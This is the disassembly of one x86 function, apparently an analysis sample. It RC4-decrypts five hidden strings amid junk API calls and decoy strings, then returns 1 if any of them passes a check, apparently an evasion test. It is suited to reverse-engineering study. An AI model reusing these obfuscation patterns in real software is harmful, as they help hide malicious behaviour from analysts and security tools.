Function at 0x65682ac4
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ecx, 5
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x664]
mov esi, 0x656ac91c
push ebx
sub esp, 0x6dc
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x5a2]
mov esi, str.AslpFileHasActiveMarkWrapper_failed___x_
mov ecx, 0x29
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
xor eax, eax
mov byte [ebp + eax - 0x518], al
inc eax
cmp eax, 0x100
jne 0x65682afc
mov eax, dword [0x656a8f08]
xor esi, esi
xor ecx, ecx
add eax, 0x51daeeb2
mov dword [ebp - 0x6cc], eax
mov eax, ecx
mov edi, 0x28
xor edx, edx
mov bl, byte [ebp + ecx - 0x518]
div edi
movzx eax, byte [ebp + edx - 0x5a2]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x518]
mov byte [ebp + ecx - 0x518], al
inc ecx
mov byte [ebp + esi - 0x518], bl
cmp ecx, 0x100
jne 0x65682b1f
mov eax, dword [ebp - 0x6cc]
xor edx, edx
xor esi, esi
xor ebx, ebx
mov dword [0x656a8dfc], eax
inc ebx
xor edi, edi
movzx ebx, bl
mov al, byte [ebp + ebx - 0x518]
lea ecx, [eax + esi]
movzx esi, cl
mov cl, byte [ebp + esi - 0x518]
mov byte [ebp + ebx - 0x518], cl
mov ecx, dword [0x656a8dfc]
mov byte [ebp + esi - 0x518], al
and ecx, 0x1d97344d
mov dword [0x656a8dfc], ecx
cmp byte [edi + str.Asynchronous_requests_are_not_valid_for_this_operation.], 0
je 0x65682bca
inc edi
cmp edi, 0x5df
jne 0x65682bac
add ecx, 0x3f292c29
mov dword [0x656a8dfc], ecx
mov ecx, dword [0x656a8dfc]
add al, byte [ebp + ebx - 0x518]
movzx eax, al
imul edi, ecx, 0xa2c30304
sub ecx, 0x4efae0e
xor ecx, 0xacc2d0fc
mov dword [0x656a8f08], ecx
mov dword [0x656a8dfc], edi
imul edi, ecx, 0x9409428a
add edi, 0x1394893a
mov dword [0x656a903c], edi
movzx edi, byte [ebp + eax - 0x518]
xor eax, eax
cmp byte [eax + str.The_target_session_is_incompatible_with_the_current_session.], 0
je 0x65682c41
inc eax
cmp eax, 0x1806
jne 0x65682c14
mov dword [ebp - 0x6cc], edx
mov dword [esp + 4], ecx
mov dword [esp], 0x656aa178
call fcn.656920d0
mov edx, dword [ebp - 0x6cc]
mov eax, dword [0x656a903c]
mov dword [ebp - 0x6cc], edx
xor eax, 0xcbe571c9
mov dword [0x656a8dfc], eax
add eax, 0x5b22c76b
mov dword [0x656a8f08], eax
call fcn.6568f90c
mov edx, dword [ebp - 0x6cc]
mov eax, edi
xor al, byte [ebp + edx - 0x664]
movzx eax, al
mov word [ebp + edx*2 - 0x5ca], ax
inc edx
cmp edx, 0x14
jne 0x65682b72
mov eax, dword [0x656a8f08]
lea edi, [ebp - 0x6b5]
mov esi, str.5M_A
mov word [ebp - 0x5a2], 0
mov ecx, 0xd
rep movsb byte es:[edi], byte [esi]
and eax, 0xf681a77d
lea edi, [ebp - 0x68b]
mov esi, str.Filename_Extension
mov dword [0x656a8dfc], eax
call dword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
lea edx, [eax - 0x6e392239]
add eax, 0x1c466e88
xor eax, 0xcc2079fb
mov dword [0x656a8dfc], edx
mov dword [0x656a903c], eax
mov dword [esp], str.The_network_BIOS_command_limit_has_been_reached.
call fcn.65693f48
mov ecx, 0x13
mov edx, str.Asynchronous_requests_are_not_valid_for_this_operation.
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x94d
movzx eax, byte [edx]
inc edx
test al, al
je 0x65682d1a
add ecx, eax
cmp ecx, 0x1122
jbe 0x65682cfc
mov dword [esp], str._logscrdesc_BackgroundColorIndex
call fcn.65693f48
mov eax, dword [0x656a8f08]
mov edx, eax
or eax, 0xf9af4fe1
or edx, 0x398f4d20
mov dword [0x656a8dfc], eax
mov dword [0x656a8f08], edx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
xor eax, 0x1c92e432
mov dword [0x656a903c], eax
xor eax, eax
mov byte [eax + ebp - 0x418], al
inc eax
cmp eax, 0x100
jne 0x65682d49
xor esi, esi
xor ebx, ebx
mov ecx, 0x12
mov eax, ebx
xor edx, edx
movzx edi, byte [ebp + ebx - 0x418]
div ecx
add dword [0x656a8dfc], 0x1e22b52b
mov eax, edi
mov ecx, 0x1fc4
add al, byte [ebp + edx - 0x68b]
mov edx, str.Log_file_space_is_insufficient_to_support_this_operation.
add eax, esi
movzx esi, al
movsx eax, byte [edx]
inc edx
test al, al
je 0x65682db8
add ecx, eax
cmp ecx, 0x2467
jbe 0x65682d91
call fcn.65693958
or dword [0x656a903c], 0x4b15281e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov eax, dword [0x656a903c]
add eax, 0x3102a4c2
mov dword [0x656a8f08], eax
mov al, byte [ebp + esi - 0x418]
mov byte [ebp + ebx - 0x418], al
mov eax, edi
inc ebx
mov byte [ebp + esi - 0x418], al
cmp ebx, 0x100
jne 0x65682d5c
xor edx, edx
xor edi, edi
xor esi, esi
lea eax, [esi + 1]
mov dword [ebp - 0x6cc], edx
movzx esi, al
mov bl, byte [ebp + esi - 0x418]
lea eax, [ebx + edi]
movzx edi, al
mov eax, dword [0x656a8dfc]
add eax, 0x51e30ef7
or eax, 0xbb27a939
mov dword [0x656a8dfc], eax
xor eax, 0x5cdb9810
mov dword [0x656a8f08], eax
mov dword [esp + 4], eax
mov dword [esp], str.The_target_session_is_incompatible_with_the_current_session.
call fcn.656920d0
mov al, byte [ebp + edi - 0x418]
mov edx, dword [ebp - 0x6cc]
mov byte [ebp + esi - 0x418], al
mov byte [ebp + edi - 0x418], bl
add bl, byte [ebp + esi - 0x418]
movzx ebx, bl
mov al, byte [ebp + ebx - 0x418]
xor al, byte [ebp + edx - 0x6b5]
movzx eax, al
mov word [ebp + edx*2 - 0x63a], ax
inc edx
cmp edx, 0xd
jne 0x65682df1
mov word [ebp - 0x620], 0
lea edi, [ebp - 0x6c0]
mov esi, 0x656ac979
xor eax, eax
mov ecx, 0xb
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x54b]
mov esi, 0x656ac984
mov ecx, 0x33
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x318], al
inc eax
cmp eax, 0x100
jne 0x65682eaf
mov edx, 0x656aa178
mov al, byte [edx]
test al, al
je 0x65682ee4
sub eax, 0x30
cmp al, 9
jbe 0x65682ee1
imul eax, dword [0x656a8f08], 0x33c8160a
mov dword [0x656a903c], eax
jmp 0x65682ee4
inc edx
jmp 0x65682ec3
mov eax, dword [0x656a8f08]
xor edi, edi
xor ecx, ecx
mov esi, 0x32
add dword [0x656a903c], 0x1206089b
or eax, 0x1a4b3391
mov dword [0x656a8dfc], eax
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x318]
div esi
movzx eax, byte [ebp + edx - 0x54b]
movzx edx, bl
add eax, edx
add eax, edi
movzx edi, al
mov al, byte [ebp + edi - 0x318]
mov byte [ebp + ecx - 0x318], al
inc ecx
mov byte [ebp + edi - 0x318], bl
cmp ecx, 0x100
jne 0x65682f06
xor edi, edi
xor esi, esi
xor ebx, ebx
mov eax, str.Asynchronous_requests_are_not_valid_for_this_operation.
mov cl, byte [eax]
lea edx, [ecx - 0x30]
cmp dl, 9
ja 0x65682f5b
inc eax
jmp 0x65682f4e
mov edx, dword [0x656a903c]
mov eax, edx
or eax, 0x1505bf6e
mov dword [0x656a8f08], eax
xor eax, eax
cmp byte [eax + str.Asynchronous_requests_are_not_valid_for_this_operation.], 0
je 0x65682f8e
inc eax
cmp eax, 0xcc3
jne 0x65682f6f
or edx, 0x7545bf6e
mov dword [0x656a8f08], edx
jmp 0x65682f95
cmp eax, 0x265
jle 0x65682fba
mov dword [esp + 4], str.AslpPathWildcardPushNode_failed___x_
mov dword [esp], str.The_directory_service_is_not_available.
call fcn.65691940
imul eax, dword [0x656a8dfc], 0xa288b9a0
mov dword [0x656a8f08], eax
jmp 0x65682fc9
imul eax, dword [0x656a8dfc], 0x474acce
mov dword [0x656a903c], eax
or dword [0x656a8dfc], 0xe8081c4b
inc ebx
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
movzx ebx, bl
xor eax, 0x7ae467c7
mov dword [0x656a8dfc], eax
call fcn.6568f90c
mov al, byte [ebp + ebx - 0x318]
lea edx, [eax + esi]
movzx esi, dl
mov dl, byte [ebp + esi - 0x318]
mov byte [ebp + ebx - 0x318], dl
mov edx, dword [0x656a8dfc]
mov byte [ebp + esi - 0x318], al
add al, byte [ebp + ebx - 0x318]
movzx eax, al
mov ecx, edx
sub edx, 0x7c03b60d
mov al, byte [ebp + eax - 0x318]
xor al, byte [ebp + edi - 0x6c0]
and ecx, 0x6cba6f2f
mov dword [0x656a903c], edx
movzx eax, al
or ecx, 0x5defa58e
mov word [ebp + edi*2 - 0x650], ax
inc edi
mov dword [0x656a8f08], ecx
cmp edi, 0xb
jne 0x65682f49
lea edi, [ebp - 0x69b]
mov esi, 0x656ac9b7
mov ecx, 4
mov word [ebp - 0x63a], 0
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x579]
mov esi, str.RtlFileMapInitializeByFilePath_failed__S___x_
mov ecx, 0x2e
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 4], str.Version_block_invalid
mov dword [esp], str.SdbGetBinaryTagData
call fcn.65692e04
or dword [0x656a8dfc], 0x7810bb0b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [0x656a8dfc]
sub eax, 0x9ca8437
mov dword [0x656a8f08], eax
mov dword [esp], str.The_process_hosting_the_driver_for_this_device_has_terminated.
call fcn.65693f48
xor eax, eax
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jne 0x656830cf
xor edi, edi
xor ecx, ecx
mov esi, 0x2d
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x218]
div esi
movzx eax, byte [ebp + edx - 0x579]
movzx edx, bl
add eax, edx
add eax, edi
movzx edi, al
mov al, byte [ebp + edi - 0x218]
mov byte [ebp + ecx - 0x218], al
inc ecx
mov byte [ebp + edi - 0x218], bl
cmp ecx, 0x100
jne 0x656830e7
xor esi, esi
xor ecx, ecx
xor edx, edx
inc edx
movzx edx, dl
mov al, byte [ebp + edx - 0x218]
add ecx, eax
movzx ecx, cl
mov bl, byte [ebp + ecx - 0x218]
mov byte [ebp + edx - 0x218], bl
mov byte [ebp + ecx - 0x218], al
add al, byte [ebp + edx - 0x218]
movzx eax, al
mov al, byte [ebp + eax - 0x218]
xor al, byte [esi + ebp - 0x69b]
movzx eax, al
mov word [ebp + esi*2 - 0x5ea], ax
inc esi
cmp esi, 0x10
jne 0x6568312a
lea edi, [ebp - 0x6a8]
mov esi, 0x656ac9f5
mov ecx, 0xd
mov edx, dword [0x656a8f08]
mov word [ebp - 0x5ca], 0
rep movsb byte es:[edi], byte [esi]
mov eax, edx
add edx, 0x767b46d7
lea edi, [ebp - 0x605]
and eax, 0xbb14d369
cmp byte [0x656aa178], 0
mov esi, 0x656aca02
mov ecx, 0x1b
rep movsb byte es:[edi], byte [esi]
mov dword [0x656a903c], eax
mov dword [0x656a8f08], edx
je 0x656831d7
imul eax, eax, 0xbdb5f023
mov dword [0x656a903c], eax
mov dword [esp + 4], str.TPM_1.2:_Unacceptable_encryption_scheme.
mov dword [esp], str.The_system_has_been_shut_down.
call fcn.65692e04
mov eax, dword [0x656a903c]
mov edx, eax
or eax, 0xb579140a
imul eax, eax, 0x21c16ba
or edx, 0xbdff94da
mov dword [0x656a8dfc], edx
xor edx, edx
mov byte [ebp + edx - 0x118], dl
inc edx
cmp edx, 0x100
jne 0x6568320b
and eax, 0xf36499db
xor esi, esi
xor ecx, ecx
mov edi, 0x1a
mov dword [0x656a8f08], eax
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x118]
div edi
movzx eax, byte [ebp + edx - 0x605]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x118]
mov byte [ebp + ecx - 0x118], al
inc ecx
mov byte [ebp + esi - 0x118], bl
cmp ecx, 0x100
jne 0x6568322e
mov byte [ebp - 0x19], al
xor edx, edx
mov byte [ebp + esi - 0x118], bl
xor esi, esi
xor ebx, ebx
inc ebx
mov dword [ebp - 0x6d0], edx
mov edi, dword [0x656a8dfc]
movzx ebx, bl
mov al, byte [ebp + ebx - 0x118]
xor edi, 0x91bc88c0
mov dword [0x656a903c], edi
lea edi, [ebp - 0x620]
lea ecx, [eax + esi]
movzx esi, cl
imul ecx, dword [0x656a8f08], 0xf0117cac
mov dl, byte [ebp + esi - 0x118]
mov byte [ebp + ebx - 0x118], dl
xor ecx, 0xe5dbfe57
mov byte [ebp + esi - 0x118], al
add al, byte [ebp + ebx - 0x118]
or ecx, 0xb3ff9363
movzx eax, al
mov dword [0x656a8f08], ecx
mov al, byte [ebp + eax - 0x118]
mov byte [ebp - 0x6cc], al
mov eax, dword [0x656a8dfc]
mov dword [esp], str.Asynchronous_requests_are_not_valid_for_this_operation.
mov dword [esp + 4], eax
call fcn.656920d0
mov eax, dword [0x656a903c]
xor eax, 0x76c4753e
mov dword [0x656a903c], eax
mov dword [esp], eax
call dword [sym.imp.USER32.dll_GetTopWindow]
push eax
mov eax, dword [0x656a8f08]
xor eax, 0x895eb058
mov dword [0x656a8dfc], eax
call fcn.6568f90c
mov edx, dword [ebp - 0x6d0]
mov al, byte [ebp - 0x6cc]
xor al, byte [ebp + edx - 0x6a8]
movzx eax, al
mov word [edi + edx*2], ax
inc edx
cmp edx, 0xd
jne 0x6568327b
mov word [ebp - 0x606], 0
mov edx, 0x656aa178
mov ebx, 0x647
movzx eax, byte [edx]
inc edx
test al, al
je 0x65683382
add ebx, eax
cmp ebx, 0x798
jbe 0x6568336b
call fcn.65692374
mov eax, dword [0x656a903c]
mov dword [ebp - 0x668], edi
xor ebx, ebx
xor eax, 0xe2426def
mov dword [0x656a8dfc], eax
mov eax, dword [0x656a8f08]
xor eax, 0x6d5d7685
mov dword [0x656a903c], eax
lea eax, [ebp - 0x5ca]
mov dword [ebp - 0x678], eax
lea eax, [ebp - 0x63a]
mov dword [ebp - 0x674], eax
lea eax, [ebp - 0x650]
mov dword [ebp - 0x670], eax
lea eax, [ebp - 0x5ea]
mov dword [ebp - 0x66c], eax
mov eax, dword [ebp + ebx*4 - 0x678]
mov dword [esp], eax
call fcn.656810e8
test eax, eax
jne 0x656833f3
inc ebx
cmp ebx, 5
jne 0x656833d8
jmp 0x656833f8
mov eax, 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret